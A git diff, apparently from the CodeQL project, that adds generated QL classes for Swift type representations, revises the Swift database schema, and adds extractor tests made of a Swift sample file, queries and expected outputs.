diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/PlaceholderTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/PlaceholderTypeRepr.qll
new file mode 100644
index 00000000000..5bb446c9c73
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/PlaceholderTypeRepr.qll
@@ -0,0 +1,6 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.TypeRepr
+
+class PlaceholderTypeReprBase extends @placeholder_type_repr, TypeRepr {
+  override string getAPrimaryQlClass() { result = "PlaceholderTypeRepr" }
+}
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/ProtocolTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/ProtocolTypeRepr.qll
new file mode 100644
index 00000000000..1b2e7fb2652
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/ProtocolTypeRepr.qll
@@ -0,0 +1,6 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.TypeRepr
+
+class ProtocolTypeReprBase extends @protocol_type_repr, TypeRepr {
+  override string getAPrimaryQlClass() { result = "ProtocolTypeRepr" }
+}
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/SharedTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/SharedTypeRepr.qll
new file mode 100644
index 00000000000..ca9254217c9
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/SharedTypeRepr.qll
@@ -0,0 +1,6 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.SpecifierTypeRepr
+
+class SharedTypeReprBase extends @shared_type_repr, SpecifierTypeRepr {
+  override string getAPrimaryQlClass() { result = "SharedTypeRepr" }
+}
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/SilBoxTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/SilBoxTypeRepr.qll
new file mode 100644
index 00000000000..47d4585511b
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/SilBoxTypeRepr.qll
@@ -0,0 +1,6 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.TypeRepr
+
+class SilBoxTypeReprBase extends @sil_box_type_repr, TypeRepr {
+  override string getAPrimaryQlClass() { result = "SilBoxTypeRepr" }
+}
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/SimpleIdentTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/SimpleIdentTypeRepr.qll
new file mode 100644
index 00000000000..328b8bc7e69
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/SimpleIdentTypeRepr.qll
@@ -0,0 +1,6 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.ComponentIdentTypeRepr
+
+class SimpleIdentTypeReprBase extends @simple_ident_type_repr, ComponentIdentTypeRepr {
+  override string getAPrimaryQlClass() { result = "SimpleIdentTypeRepr" }
+}
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/SpecifierTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/SpecifierTypeRepr.qll
new file mode 100644
index 00000000000..469aa3413d1
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/SpecifierTypeRepr.qll
@@ -0,0 +1,4 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.TypeRepr
+
+class SpecifierTypeReprBase extends @specifier_type_repr, TypeRepr { }
diff --git a/swift/ql/lib/codeql/swift/generated/typerepr/TupleTypeRepr.qll b/swift/ql/lib/codeql/swift/generated/typerepr/TupleTypeRepr.qll
new file mode 100644
index 00000000000..79e65037aa9
--- /dev/null
+++ b/swift/ql/lib/codeql/swift/generated/typerepr/TupleTypeRepr.qll
@@ -0,0 +1,6 @@
+// generated by codegen/codegen.py
+import codeql.swift.elements.typerepr.TypeRepr
+
+class TupleTypeReprBase extends @tuple_type_repr, TypeRepr {
+  override string getAPrimaryQlClass() { result = "TupleTypeRepr" }
+}
diff --git a/swift/ql/lib/swift.dbscheme b/swift/ql/lib/swift.dbscheme
index fbff22210bf..f07194d55e2 100644
--- a/swift/ql/lib/swift.dbscheme
+++ b/swift/ql/lib/swift.dbscheme
@@ -22,23 +22,16 @@ sourceLocationPrefix(
 | @type
 ;
 
+#keyset[id]
+element_is_unknown(
+  int id: @element ref
+);
+
 files(
   unique int id: @file,
   string name: string ref
 );
 
-@iterable_decl_context =
-  @extension_decl
-| @nominal_type_decl
-;
-
-#keyset[id, index]
-iterable_decl_context_members(
-  int id: @iterable_decl_context ref,
-  int index: int ref,
-  int member: @decl ref
-);
-
 @locatable =
   @ast_node
 | @condition_element
@@ -82,7 +75,6 @@ locations(
 | @sugar_type
 | @tuple_type
 | @type_variable_type
-| @unknown_type
 | @unresolved_type
 ;
 
@@ -93,6 +85,18 @@ types(
   int canonical_type: @type ref
 );
 
+@iterable_decl_context =
+  @extension_decl
+| @nominal_type_decl
+;
+
+#keyset[id, index]
+iterable_decl_context_members(
+  int id: @iterable_decl_context ref,
+  int index: int ref,
+  int member: @decl ref
+);
+
 extension_decls(
   unique int id: @extension_decl
 );
@@ -167,6 +171,11 @@ any_function_type_param_labels(
   string param_label: string ref
 );
 
+#keyset[id]
+any_function_type_is_throwing(
+  int id: @any_function_type ref
+);
+
 @any_generic_type =
   @nominal_or_bound_generic_nominal_type
 | @unbound_generic_type
@@ -204,7 +213,9 @@ any_generic_type_parents(
 ;
 
 dependent_member_types(
-  unique int id: @dependent_member_type
+  unique int id: @dependent_member_type,
+  int baseType: @type ref,
+  int associated_type_decl: @associated_type_decl ref
 );
 
 dynamic_self_types(
@@ -277,15 +288,24 @@ tuple_types(
   unique int id: @tuple_type
 );
 
-type_variable_types(
-  unique int id: @type_variable_type
+#keyset[id, index]
+tuple_type_types(
+  int id: @tuple_type ref,
+  int index: int ref,
+  int type_: @type ref
 );
 
-unknown_types(
-  unique int id: @unknown_type,
+#keyset[id, index]
+tuple_type_names(
+  int id: @tuple_type ref,
+  int index: int ref,
   string name: string ref
 );
 
+type_variable_types(
+  unique int id: @type_variable_type
+);
+
 unresolved_types(
   unique int id: @unresolved_type
 );
@@ -317,7 +337,6 @@ struct_decls(
 | @pound_diagnostic_decl
 | @precedence_group_decl
 | @top_level_code_decl
-| @unknown_ast_node
 | @value_decl
 ;
 
@@ -368,7 +387,6 @@ struct_decls(
 | @tuple_element_expr
 | @tuple_expr
 | @type_expr
-| @unknown_ast_node
 | @unresolved_decl_ref_expr
 | @unresolved_dot_expr
 | @unresolved_member_expr
@@ -395,7 +413,6 @@ expr_types(
 | @paren_pattern
 | @tuple_pattern
 | @typed_pattern
-| @unknown_ast_node
 ;
 
 @stmt =
@@ -410,12 +427,29 @@ expr_types(
 | @pound_assert_stmt
 | @return_stmt
 | @throw_stmt
-| @unknown_ast_node
 | @yield_stmt
 ;
 
 @type_repr =
-  @unknown_ast_node
+  @array_type_repr
+| @attributed_type_repr
+| @composition_type_repr
+| @dictionary_type_repr
+| @error_type_repr
+| @existential_type_repr
+| @fixed_type_repr
+| @function_type_repr
+| @ident_type_repr
+| @implicitly_unwrapped_optional_type_repr
+| @metatype_type_repr
+| @named_opaque_return_type_repr
+| @opaque_return_type_repr
+| @optional_type_repr
+| @placeholder_type_repr
+| @protocol_type_repr
+| @sil_box_type_repr
+| @specifier_type_repr
+| @tuple_type_repr
 ;
 
 function_types(
@@ -521,7 +555,8 @@ generic_type_param_types(
 );
 
 paren_types(
-  unique int id: @paren_type
+  unique int id: @paren_type,
+  int type_: @type ref
 );
 
 @syntax_sugar_type =
@@ -530,7 +565,8 @@ paren_types(
 ;
 
 type_alias_types(
-  unique int id: @type_alias_type
+  unique int id: @type_alias_type,
+  int decl: @type_alias_decl ref
 );
 
 enum_case_decls(
@@ -562,6 +598,12 @@ missing_member_decls(
 | @prefix_operator_decl
 ;
 
+#keyset[id]
+operator_decls(
+  int id: @operator_decl ref,
+  string name: string ref
+);
+
 pattern_binding_decls(
   unique int id: @pattern_binding_decl
 );
@@ -593,11 +635,6 @@ top_level_code_decls(
   int body: @brace_stmt ref
 );
 
-unknown_ast_nodes(
-  unique int id: @unknown_ast_node,
-  string name: string ref
-);
-
 @value_decl =
   @abstract_function_decl
 | @abstract_storage_decl
@@ -1213,6 +1250,13 @@ yield_stmts(
 | @bound_generic_struct_type
 ;
 
+#keyset[id, index]
+bound_generic_type_arg_types(
+  int id: @bound_generic_type ref,
+  int index: int ref,
+  int arg_type: @type ref
+);
+
 @nominal_type =
   @class_type
 | @enum_type
@@ -1228,6 +1272,12 @@ builtin_integer_types(
   unique int id: @builtin_integer_type
 );
 
+#keyset[id]
+builtin_integer_type_widths(
+  int id: @builtin_integer_type ref,
+  int width: int ref
+);
+
 nested_archetype_types(
   unique int id: @nested_archetype_type
 );
@@ -1250,7 +1300,9 @@ primary_archetype_types(
 );
 
 dictionary_types(
-  unique int id: @dictionary_type
+  unique int id: @dictionary_type,
+  int key_type: @type ref,
+  int value_type: @type ref
 );
 
 @unary_syntax_sugar_type =
@@ -1259,10 +1311,22 @@ dictionary_types(
 | @variadic_sequence_type
 ;
 
+#keyset[id]
+unary_syntax_sugar_types(
+  int id: @unary_syntax_sugar_type ref,
+  int base_type: @type ref
+);
+
 infix_operator_decls(
   unique int id: @infix_operator_decl
 );
 
+#keyset[id]
+infix_operator_decl_precedence_groups(
+  int id: @infix_operator_decl ref,
+  int precedence_group: @precedence_group_decl ref
+);
+
 postfix_operator_decls(
   unique int id: @postfix_operator_decl
 );
@@ -1325,6 +1389,13 @@ type_decls(
   string name: string ref
 );
 
+#keyset[id, index]
+type_decl_base_types(
+  int id: @type_decl ref,
+  int index: int ref,
+  int base_type: @type ref
+);
+
 auto_closure_exprs(
   unique int id: @auto_closure_expr,
   int body: @brace_stmt ref
@@ -1638,8 +1709,9 @@ do_stmts(
 
 for_each_stmts(
   unique int id: @for_each_stmt,
-  int body: @brace_stmt ref,
-  int sequence: @expr ref
+  int pattern: @pattern ref,
+  int sequence: @expr ref,
+  int body: @brace_stmt ref
 );
 
 #keyset[id]
@@ -1702,8 +1774,7 @@ bound_generic_struct_types(
 );
 
 class_types(
-  unique int id: @class_type,
-  int decl: @class_decl ref
+  unique int id: @class_type
 );
 
 enum_types(
@@ -1715,8 +1786,7 @@ protocol_types(
 );
 
 struct_types(
-  unique int id: @struct_type,
-  int decl: @struct_decl ref
+  unique int id: @struct_type
 );
 
 array_slice_types(
@@ -1760,6 +1830,24 @@ var_decls(
   int type_: @type ref
 );
 
+#keyset[id]
+var_decl_attached_property_wrapper_types(
+  int id: @var_decl ref,
+  int attached_property_wrapper_type: @type ref
+);
+
+#keyset[id]
+var_decl_parent_patterns(
+  int id: @var_decl ref,
+  int parent_pattern: @pattern ref
+);
+
+#keyset[id]
+var_decl_parent_initializers(
+  int id: @var_decl ref,
+  int parent_initializer: @expr ref
+);
+
 @abstract_type_param_decl =
   @associated_type_decl
 | @generic_type_param_decl
@@ -1900,3 +1988,121 @@ integer_literal_exprs(
   unique int id: @integer_literal_expr,
   string string_value: string ref
 );
+
+error_type_reprs(
+  unique int id: @error_type_repr
+);
+
+attributed_type_reprs(
+  unique int id: @attributed_type_repr
+);
+
+@ident_type_repr =
+  @component_ident_type_repr
+| @compound_ident_type_repr
+;
+
+@component_ident_type_repr =
+  @generic_ident_type_repr
+| @simple_ident_type_repr
+;
+
+simple_ident_type_reprs(
+  unique int id: @simple_ident_type_repr
+);
+
+generic_ident_type_reprs(
+  unique int id: @generic_ident_type_repr
+);
+
+compound_ident_type_reprs(
+  unique int id: @compound_ident_type_repr
+);
+
+function_type_reprs(
+  unique int id: @function_type_repr
+);
+
+array_type_reprs(
+  unique int id: @array_type_repr
+);
+
+dictionary_type_reprs(
+  unique int id: @dictionary_type_repr
+);
+
+optional_type_reprs(
+  unique int id: @optional_type_repr
+);
+
+implicitly_unwrapped_optional_type_reprs(
+  unique int id: @implicitly_unwrapped_optional_type_repr
+);
+
+tuple_type_reprs(
+  unique int id: @tuple_type_repr
+);
+
+composition_type_reprs(
+  unique int id: @composition_type_repr
+);
+
+metatype_type_reprs(
+  unique int id: @metatype_type_repr
+);
+
+protocol_type_reprs(
+  unique int id: @protocol_type_repr
+);
+
+opaque_return_type_reprs(
+  unique int id: @opaque_return_type_repr
+);
+
+named_opaque_return_type_reprs(
+  unique int id: @named_opaque_return_type_repr
+);
+
+existential_type_reprs(
+  unique int id: @existential_type_repr
+);
+
+placeholder_type_reprs(
+  unique int id: @placeholder_type_repr
+);
+
+@specifier_type_repr =
+  @compile_time_const_type_repr
+| @in_out_type_repr
+| @isolated_type_repr
+| @owned_type_repr
+| @shared_type_repr
+;
+
+in_out_type_reprs(
+  unique int id: @in_out_type_repr
+);
+
+shared_type_reprs(
+  unique int id: @shared_type_repr
+);
+
+owned_type_reprs(
+  unique int id: @owned_type_repr
+);
+
+isolated_type_reprs(
+  unique int id: @isolated_type_repr
+);
+
+compile_time_const_type_reprs(
+  unique int id: @compile_time_const_type_repr
+);
+
+fixed_type_reprs(
+  unique int id: @fixed_type_repr
+);
+
+sil_box_type_reprs(
+  unique int id: @sil_box_type_repr
+);
diff --git a/swift/ql/test/extractor-tests/declarations/all.expected b/swift/ql/test/extractor-tests/declarations/all.expected
new file mode 100644
index 00000000000..a391d85623e
--- /dev/null
+++ b/swift/ql/test/extractor-tests/declarations/all.expected
@@ -0,0 +1,68 @@
+| test.swift:1:1:7:1 | StructDecl |
+| test.swift:1:8:1:8 | ConstructorDecl |
+| test.swift:1:8:1:8 | ConstructorDecl |
+| test.swift:1:8:1:8 | ParamDecl |
+| test.swift:2:3:2:11 | PatternBindingDecl |
+| test.swift:2:7:2:7 | ConcreteVarDecl |
+| test.swift:3:3:6:3 | PatternBindingDecl |
+| test.swift:3:7:3:7 | ConcreteVarDecl |
+| test.swift:9:1:9:34 | ClassDecl |
+| test.swift:9:7:9:7 | ConstructorDecl |
+| test.swift:9:7:9:7 | DestructorDecl |
+| test.swift:9:13:9:30 | PatternBindingDecl |
+| test.swift:9:17:9:17 | ConcreteVarDecl |
+| test.swift:11:1:14:1 | EnumDecl |
+| test.swift:12:5:12:18 | EnumCaseDecl |
+| test.swift:12:10:12:10 | EnumElementDecl |
+| test.swift:12:18:12:18 | EnumElementDecl |
+| test.swift:13:5:13:26 | EnumCaseDecl |
+| test.swift:13:10:13:10 | EnumElementDecl |
+| test.swift:13:18:13:18 | EnumElementDecl |
+| test.swift:13:26:13:26 | EnumElementDecl |
+| test.swift:16:1:20:1 | EnumDecl |
+| test.swift:17:5:17:22 | EnumCaseDecl |
+| test.swift:17:10:17:22 | EnumElementDecl |
+| test.swift:17:18:17:18 | ParamDecl |
+| test.swift:18:5:18:21 | EnumCaseDecl |
+| test.swift:18:10:18:21 | EnumElementDecl |
+| test.swift:18:18:18:18 | ParamDecl |
+| test.swift:19:5:19:35 | EnumCaseDecl |
+| test.swift:19:10:19:35 | EnumElementDecl |
+| test.swift:19:16:19:16 | ParamDecl |
+| test.swift:19:21:19:21 | ParamDecl |
+| test.swift:19:29:19:29 | ParamDecl |
+| test.swift:22:1:26:1 | ProtocolDecl |
+| test.swift:23:5:23:39 | PatternBindingDecl |
+| test.swift:23:9:23:9 | ConcreteVarDecl |
+| test.swift:24:5:24:44 | PatternBindingDecl |
+| test.swift:24:9:24:9 | ConcreteVarDecl |
+| test.swift:25:5:25:22 | ConcreteFuncDecl |
+| test.swift:28:1:28:37 | ConcreteFuncDecl |
+| test.swift:28:17:28:31 | ParamDecl |
+| test.swift:30:1:30:18 | PatternBindingDecl |
+| test.swift:30:1:30:18 | TopLevelCodeDecl |
+| test.swift:30:5:30:5 | ConcreteVarDecl |
+| test.swift:31:1:36:1 | PatternBindingDecl |
+| test.swift:31:1:36:1 | TopLevelCodeDecl |
+| test.swift:31:5:31:5 | ConcreteVarDecl |
+| test.swift:38:1:38:33 | TopLevelCodeDecl |
+| test.swift:40:1:53:1 | ClassDecl |
+| test.swift:41:3:41:14 | PatternBindingDecl |
+| test.swift:41:7:41:7 | ConcreteVarDecl |
+| test.swift:42:3:42:3 | ParamDecl |
+| test.swift:42:3:44:3 | ConstructorDecl |
+| test.swift:46:3:46:3 | ParamDecl |
+| test.swift:46:3:48:3 | DestructorDecl |
+| test.swift:50:3:52:3 | ConcreteFuncDecl |
+| test.swift:50:26:50:33 | ParamDecl |
+| test.swift:55:8:55:17 | PrefixOperatorDecl |
+| test.swift:57:1:62:1 | PrecedenceGroupDecl |
+| test.swift:64:7:64:16 | InfixOperatorDecl |
+| test.swift:66:7:66:21 | InfixOperatorDecl |
+| test.swift:68:18:74:1 | StructDecl |
+| test.swift:68:25:68:25 | ConstructorDecl |
+| test.swift:69:3:73:3 | PatternBindingDecl |
+| test.swift:69:7:69:7 | ConcreteVarDecl |
+| test.swift:76:1:79:1 | ConcreteFuncDecl |
+| test.swift:77:16:77:23 | PatternBindingDecl |
+| test.swift:77:20:77:20 | ConcreteVarDecl |
diff --git a/swift/ql/test/extractor-tests/declarations/all.ql b/swift/ql/test/extractor-tests/declarations/all.ql
new file mode 100644
index 00000000000..c3157b1d42f
--- /dev/null
+++ b/swift/ql/test/extractor-tests/declarations/all.ql
@@ -0,0 +1,5 @@
+import swift
+
+from Decl decl
+where decl.getLocation().getFile().getName().matches("%swift/ql/test%")
+select decl
diff --git a/swift/ql/test/extractor-tests/declarations/func.expected b/swift/ql/test/extractor-tests/declarations/func.expected
new file mode 100644
index 00000000000..d45f4421d29
--- /dev/null
+++ b/swift/ql/test/extractor-tests/declarations/func.expected
@@ -0,0 +1,4 @@
+| test.swift:25:5:25:22 | ConcreteFuncDecl | random |
+| test.swift:28:1:28:37 | ConcreteFuncDecl | a_function |
+| test.swift:50:3:52:3 | ConcreteFuncDecl | +- |
+| test.swift:76:1:79:1 | ConcreteFuncDecl | foo |
diff --git a/swift/ql/test/extractor-tests/declarations/func.ql b/swift/ql/test/extractor-tests/declarations/func.ql
new file mode 100644
index 00000000000..d62b3c1903b
--- /dev/null
+++ b/swift/ql/test/extractor-tests/declarations/func.ql
@@ -0,0 +1,7 @@
+import swift
+
+from FuncDecl decl, string name
+where
+  decl.getLocation().getFile().getName().matches("%swift/ql/test%") and
+  name = decl.getName()
+select decl, name
diff --git a/swift/ql/test/extractor-tests/declarations/func_body.expected b/swift/ql/test/extractor-tests/declarations/func_body.expected
new file mode 100644
index 00000000000..b3082a94507
--- /dev/null
+++ b/swift/ql/test/extractor-tests/declarations/func_body.expected
@@ -0,0 +1,3 @@
+| test.swift:28:1:28:37 | ConcreteFuncDecl | test.swift:28:36:28:37 | BraceStmt |
+| test.swift:50:3:52:3 | ConcreteFuncDecl | test.swift:50:45:52:3 | BraceStmt |
+| test.swift:76:1:79:1 | ConcreteFuncDecl | test.swift:76:19:79:1 | BraceStmt |
diff --git a/swift/ql/test/extractor-tests/declarations/func_body.ql b/swift/ql/test/extractor-tests/declarations/func_body.ql
new file mode 100644
index 00000000000..f93de6329d9
--- /dev/null
+++ b/swift/ql/test/extractor-tests/declarations/func_body.ql
@@ -0,0 +1,7 @@
+import swift
+
+from FuncDecl decl, BraceStmt body
+where
+  decl.getLocation().getFile().getName().matches("%swift/ql/test%") and
+  body = decl.getBody()
+select decl, body
diff --git a/swift/ql/test/extractor-tests/declarations/func_params.expected b/swift/ql/test/extractor-tests/declarations/func_params.expected
new file mode 100644
index 00000000000..b70713bcb94
--- /dev/null
+++ b/swift/ql/test/extractor-tests/declarations/func_params.expected
@@ -0,0 +1,2 @@
+| test.swift:28:1:28:37 | ConcreteFuncDecl | 0 | test.swift:28:17:28:31 | ParamDecl |
+| test.swift:50:3:52:3 | ConcreteFuncDecl | 0 | test.swift:50:26:50:33 | ParamDecl |
diff --git a/swift/ql/test/extractor-tests/declarations/func_params.ql b/swift/ql/test/extractor-tests/declarations/func_params.ql
new file mode 100644
index 00000000000..e45261a7977
--- /dev/null
+++ b/swift/ql/test/extractor-tests/declarations/func_params.ql
@@ -0,0 +1,7 @@
+import swift
+
+from FuncDecl decl, int index, ParamDecl param
+where
+  decl.getLocation().getFile().getName().matches("%swift/ql/test%") and
+  param = decl.getParam(index)
+select decl, index, param
diff --git a/swift/ql/test/extractor-tests/declarations/test.swift b/swift/ql/test/extractor-tests/declarations/test.swift
new file mode 100644
index 00000000000..f8caec468a5
--- /dev/null
+++ b/swift/ql/test/extractor-tests/declarations/test.swift
@@ -0,0 +1,79 @@
+struct Foo {
+  var x = 11
+  var next : Int {
+    get { return x + 1 }
+    set(newValue) { x = newValue - 1 }
+  }
+}
+
+class Bar { var x : Double = 1.3 }
+
+enum EnumValues {
+    case value1, value2
+    case value3, value4, value5
+}
+
+enum EnumWithParams {
+    case nodata1(Void)
+    case intdata(Int)
+    case tuple(Int, String, Double)
+}
+
+protocol MyProtocol {
+    var mustBeSettable: Int { get set }
+    var doesNotNeedToBeSettable: Int { get }
+    func random() -> Double
+}
+
+func a_function(a_parameter : Int) {}
+
+var a_variable = 42
+var a_property : String {
+  get {
+    return "here"
+  }
+  set(newValue) {}
+}
+
+print("some top level statement")
+
+class Baz {
+  var field: Int
+  init() {
+    field = 10
+  }
+
+  deinit {
+    field = 0
+  }
+
+  static prefix func +- (other: Baz) -> Baz {
+    return other
+  }
+}
+
+prefix operator +-
+
+precedencegroup NewPrecedence {
+  higherThan: AdditionPrecedence
+  lowerThan: MultiplicationPrecedence
+  associativity: none
+  assignment: false
+}
+
+infix operator +++
+
+infix operator ***: NewPrecedence
+
+@propertyWrapper struct ZeroWrapper {
+  var wrappedValue: Int {
+    get {
+      return 0
+    }
+  }
+}
+
+func foo() -> Int {
+  @ZeroWrapper var x: Int
+  return x
+}
diff --git a/swift/ql/test/extractor-tests/expressions/all.expected b/swift/ql/test/extractor-tests/expressions/all.expected
new file mode 100644
index 00000000000..f463b59657b
--- /dev/null
+++ b/swift/ql/test/extractor-tests/expressions/all.expected
@@ -0,0 +1,195 @@
+| expressions.swift:1:9:1:9 | IntegerLiteralExpr |
+| expressions.swift:2:9:2:9 | FloatLiteralExpr |
+| expressions.swift:3:10:3:10 | BooleanLiteralExpr |
+| expressions.swift:4:10:4:10 | BooleanLiteralExpr |
+| expressions.swift:5:9:5:9 | MagicIdentifierLiteralExpr |
+| expressions.swift:6:9:6:9 | StringLiteralExpr |
+| expressions.swift:7:10:7:10 | InterpolatedStringLiteralExpr |
+| expressions.swift:7:10:7:10 | OpaqueValueExpr |
+| expressions.swift:7:10:7:10 | StringLiteralExpr |
+| expressions.swift:7:10:7:10 | TapExpr |
+| expressions.swift:7:11:7:10 | CallExpr |
+| expressions.swift:7:11:7:11 | DeclRefExpr |
+| expressions.swift:7:11:7:11 | DotSyntaxCallExpr |
+| expressions.swift:7:11:7:11 | InOutExpr |
+| expressions.swift:7:18:7:18 | DeclRefExpr |
+| expressions.swift:7:18:7:18 | DeclRefExpr |
+| expressions.swift:7:18:7:18 | DotSyntaxCallExpr |
+| expressions.swift:7:18:7:18 | InOutExpr |
+| expressions.swift:7:18:7:20 | CallExpr |
+| expressions.swift:7:19:7:19 | DeclRefExpr |
+| expressions.swift:7:21:7:21 | CallExpr |
+| expressions.swift:7:21:7:21 | DeclRefExpr |
+| expressions.swift:7:21:7:21 | DotSyntaxCallExpr |
+| expressions.swift:7:21:7:21 | InOutExpr |
+| expressions.swift:7:21:7:21 | StringLiteralExpr |
+| expressions.swift:8:15:8:15 | NilLiteralExpr |
+| expressions.swift:15:9:15:9 | DeclRefExpr |
+| expressions.swift:15:9:15:14 | BinaryExpr |
+| expressions.swift:15:11:15:11 | DeclRefExpr |
+| expressions.swift:15:11:15:11 | DotSyntaxCallExpr |
+| expressions.swift:15:11:15:11 | TypeExpr |
+| expressions.swift:15:14:15:14 | IntegerLiteralExpr |
+| expressions.swift:16:11:16:11 | TypeExpr |
+| expressions.swift:16:11:16:19 | DotSyntaxCallExpr |
+| expressions.swift:16:11:16:19 | ErasureExpr |
+| expressions.swift:16:19:16:19 | DeclRefExpr |
+| expressions.swift:20:1:20:16 | ForceTryExpr |
+| expressions.swift:20:6:20:6 | DeclRefExpr |
+| expressions.swift:20:6:20:16 | CallExpr |
+| expressions.swift:20:14:20:14 | IntegerLiteralExpr |
+| expressions.swift:21:1:21:16 | OptionalTryExpr |
+| expressions.swift:21:6:21:6 | DeclRefExpr |
+| expressions.swift:21:6:21:16 | CallExpr |
+| expressions.swift:21:6:21:16 | InjectIntoOptionalExpr |
+| expressions.swift:21:14:21:14 | IntegerLiteralExpr |
+| expressions.swift:27:13:27:13 | ConstructorRefCallExpr |
+| expressions.swift:27:13:27:13 | DeclRefExpr |
+| expressions.swift:27:13:27:13 | TypeExpr |
+| expressions.swift:27:13:27:19 | CallExpr |
+| expressions.swift:29:9:29:19 | DictionaryExpr |
+| expressions.swift:29:10:29:10 | StringLiteralExpr |
+| expressions.swift:29:10:29:16 | TupleExpr |
+| expressions.swift:29:16:29:16 | StringLiteralExpr |
+| expressions.swift:30:1:30:1 | DiscardAssignmentExpr |
+| expressions.swift:30:1:30:5 | AssignExpr |
+| expressions.swift:30:5:30:5 | IntegerLiteralExpr |
+| expressions.swift:31:1:31:1 | DiscardAssignmentExpr |
+| expressions.swift:31:1:31:11 | AssignExpr |
+| expressions.swift:31:5:31:5 | IntegerLiteralExpr |
+| expressions.swift:31:5:31:11 | IsExpr |
+| expressions.swift:32:1:32:1 | DiscardAssignmentExpr |
+| expressions.swift:32:1:32:11 | AssignExpr |
+| expressions.swift:32:5:32:5 | IntegerLiteralExpr |
+| expressions.swift:32:5:32:11 | CoerceExpr |
+| expressions.swift:33:1:33:1 | DiscardAssignmentExpr |
+| expressions.swift:33:1:33:12 | AssignExpr |
+| expressions.swift:33:5:33:5 | IntegerLiteralExpr |
+| expressions.swift:33:5:33:12 | ConditionalCheckedCastExpr |
+| expressions.swift:34:1:34:1 | DiscardAssignmentExpr |
+| expressions.swift:34:1:34:12 | AssignExpr |
+| expressions.swift:34:5:34:5 | IntegerLiteralExpr |
+| expressions.swift:34:5:34:12 | ForcedCheckedCastExpr |
+| expressions.swift:35:1:35:1 | DeclRefExpr |
+| expressions.swift:35:1:35:13 | CallExpr |
+| expressions.swift:35:6:35:6 | DefaultArgumentExpr |
+| expressions.swift:35:6:35:6 | DefaultArgumentExpr |
+| expressions.swift:35:7:35:7 | DeclRefExpr |
+| expressions.swift:35:7:35:12 | ArrayExpr |
+| expressions.swift:35:7:35:12 | ErasureExpr |
+| expressions.swift:35:7:35:12 | SubscriptExpr |
+| expressions.swift:35:7:35:12 | VarargExpansionExpr |
+| expressions.swift:35:9:35:9 | StringLiteralExpr |
+| expressions.swift:38:3:38:3 | DeclRefExpr |
+| expressions.swift:38:3:38:15 | CallExpr |
+| expressions.swift:38:11:38:11 | IntegerLiteralExpr |
+| expressions.swift:38:14:38:14 | IntegerLiteralExpr |
+| expressions.swift:41:1:41:1 | DeclRefExpr |
+| expressions.swift:41:1:43:1 | CallExpr |
+| expressions.swift:41:10:43:1 | ClosureExpr |
+| expressions.swift:42:12:42:12 | DeclRefExpr |
+| expressions.swift:42:12:42:16 | BinaryExpr |
+| expressions.swift:42:14:42:14 | DeclRefExpr |
+| expressions.swift:42:14:42:14 | DotSyntaxCallExpr |
+| expressions.swift:42:14:42:14 | TypeExpr |
+| expressions.swift:42:16:42:16 | DeclRefExpr |
+| expressions.swift:44:1:44:1 | DeclRefExpr |
+| expressions.swift:44:1:46:1 | CallExpr |
+| expressions.swift:44:10:46:1 | ClosureExpr |
+| expressions.swift:45:12:45:12 | DeclRefExpr |
+| expressions.swift:45:12:45:16 | BinaryExpr |
+| expressions.swift:45:14:45:14 | DeclRefExpr |
+| expressions.swift:45:14:45:14 | DotSyntaxCallExpr |
+| expressions.swift:45:14:45:14 | TypeExpr |
+| expressions.swift:45:16:45:16 | DeclRefExpr |
+| expressions.swift:47:1:47:1 | DeclRefExpr |
+| expressions.swift:47:1:47:27 | CallExpr |
+| expressions.swift:47:10:47:27 | ClosureExpr |
+| expressions.swift:47:19:47:19 | DeclRefExpr |
+| expressions.swift:47:19:47:24 | BinaryExpr |
+| expressions.swift:47:22:47:22 | DeclRefExpr |
+| expressions.swift:47:22:47:22 | DotSyntaxCallExpr |
+| expressions.swift:47:22:47:22 | TypeExpr |
+| expressions.swift:47:24:47:24 | DeclRefExpr |
+| expressions.swift:48:1:48:1 | DeclRefExpr |
+| expressions.swift:48:1:48:20 | CallExpr |
+| expressions.swift:48:10:48:20 | ClosureExpr |
+| expressions.swift:48:12:48:12 | DeclRefExpr |
+| expressions.swift:48:12:48:17 | BinaryExpr |
+| expressions.swift:48:15:48:15 | DeclRefExpr |
+| expressions.swift:48:15:48:15 | DotSyntaxCallExpr |
+| expressions.swift:48:15:48:15 | TypeExpr |
+| expressions.swift:48:17:48:17 | DeclRefExpr |
+| expressions.swift:54:1:54:1 | DiscardAssignmentExpr |
+| expressions.swift:54:1:54:8 | AssignExpr |
+| expressions.swift:54:5:54:8 | KeyPathExpr |
+| expressions.swift:58:16:58:16 | IntegerLiteralExpr |
+| expressions.swift:59:1:59:1 | DeclRefExpr |
+| expressions.swift:59:1:59:34 | CallExpr |
+| expressions.swift:59:25:59:26 | InOutExpr |
+| expressions.swift:59:25:59:26 | InOutToPointerExpr |
+| expressions.swift:59:26:59:26 | DeclRefExpr |
+| expressions.swift:60:1:60:1 | DeclRefExpr |
+| expressions.swift:60:1:60:63 | CallExpr |
+| expressions.swift:60:23:60:23 | DeclRefExpr |
+| expressions.swift:60:23:60:23 | LoadExpr |
+| expressions.swift:60:33:60:63 | ClosureExpr |
+| expressions.swift:60:33:60:63 | FunctionConversionExpr |
+| expressions.swift:60:35:60:35 | DeclRefExpr |
